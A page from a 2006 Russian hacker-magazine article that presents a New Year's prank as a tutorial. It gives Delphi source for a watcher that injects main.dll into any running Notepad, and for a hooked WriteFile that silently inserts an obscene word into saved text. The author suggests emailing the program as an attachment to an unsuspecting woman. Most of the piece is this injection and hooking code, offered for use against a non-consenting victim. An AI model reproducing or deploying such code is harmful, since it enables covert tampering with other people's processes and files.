Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #96, ДЕКАБРЬ 2006 г.

Новогоднее западло

BUG(O)R

Хакер, номер #096, стр. 096-088-2


Пока я писал этот текст, по моей щеке катилась скупая мужская слеза - стало жалко парня, над которым мы собираемся постебаться :). Но что делать - жизнь суровая штука. Поэтому идем за пивом, включаем мозг и пишем гениальную программу для укрощения блокнота.

Технику перехвата мы уже освоили в прошлом номере, поэтому сейчас нам надо определиться только с одним вопросом: «Откуда мы узнаем, что процесс notepad.exe запущен и мы сможем в него внедриться?» Есть вариант с инжектом во все процессы и перехватом функции ZwCreateProcess, но при таком способе от нашего прикола будет очень непросто избавиться, и это перерастет из простой забавы в настоящее вредительство для пользователя. Мы же - народ мирный, поэтому решаем пойти другим путем. Каждые n секунд будем искать окно с классом «Notepad» и, в случае успешного поиска, проверим, загружена ли наша библиотека в адресное пространство этого процесса. Если не загружена, то будем подгружать ее, а она в свою очередь сделает небольшую пакость :).

Вот так будет выглядеть код проекта, следящего за процессом (полный исходник ты можешь взять на диске):

Код незамысловатой следилки

var

hWnd, PID, pHandle:dword;

//Функция для проверки наличия модуля main.dll

//в адресном пространстве чужого процесса.

function IsModuleLoaded(lpPID: dword): boolean;

var

hSnapshot: dword;

Module: TMODULEENTRY32;

begin

Result := TRUE;

Module.dwSize := sizeof(MODULEENTRY32);

hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,lpPID);

Module32First(hSnapshot, Module);

repeat

if pos('main.dll', Module.szModule) > 0 then begin

Result := FALSE;

exit;

end;

until not Module32Next(hSnapshot, Module);

end;

begin

while TRUE do begin

//Запущен ли блокнот?

hWnd := FindWindow('Notepad', nil);

if hWnd <> 0 then begin

//Запущен. Получаем PID процесса.

GetWindowThreadProcessId(hWnd, PID);

//Включаем нужные привилегии, может не понадобиться, но если в системе

//недостаточно прав, то нужно вызывать.

EnableDebugPrivilegeEx(INVALID_HANDLE_VALUE);

pHandle := OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

//Модуль main.dll уже загружен в адресное пространство процесса?

if IsModuleLoaded(PID) then

//Нет? Значит, инжектим его.

InjectDll(pHandle, pChar(extractfilepath(paramstr(0)) + '\main.dll'));

end;

Sleep(3000);

end;

end.

Вот, как видишь, программа каждые 3 секунды ищет запущенный notepad.exe, проверяет в нем наличие модуля main.dll и, если таковой отсутствует, инжектирует его в процесс. Далее привожу самое интересное место main.dll (весь код лежит на диске):

Заподлянская функция замены

function NWriteFile (hFile: THandle;

const Buffer; nNumberOfBytesToWrite: DWORD; var lpNumberOfBytesWritten: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;

begin

asm

pushad

end;

NewBuffer := StringReplace(pChar(@Buffer), ',' , ', б#я', [ rfReplaceAll, rfIgnoreCase ]); // Формируем новую строку

asm // Подмена указателя

mov ebx, [NewBuffer]

mov Buffer, ebx

popad

end;

TWriteFile(hFile, Buffer, length(pChar(@Buffer)), lpNumberOfBytesWritten, lpOverlapped);

end;

Ну вот, с первым новогодним подарочком мы определились. Настало время представить последствия такого западла. Я знаю, это трудно, но поставь себя на место юной красавицы Леночки, которая январским утром (поверь, она не будет сидеть за компом в новогоднюю ночь :)) проверила свою почту и нашла в аттаче наше замечательное поздравление, (которое, кстати, ты без цензуры можешь лицезреть на скриншоте). Будь я Леночкой, убил бы за такое :).

Назад на стр. 096-088-1  Содержание  Вперед на стр. 096-088-3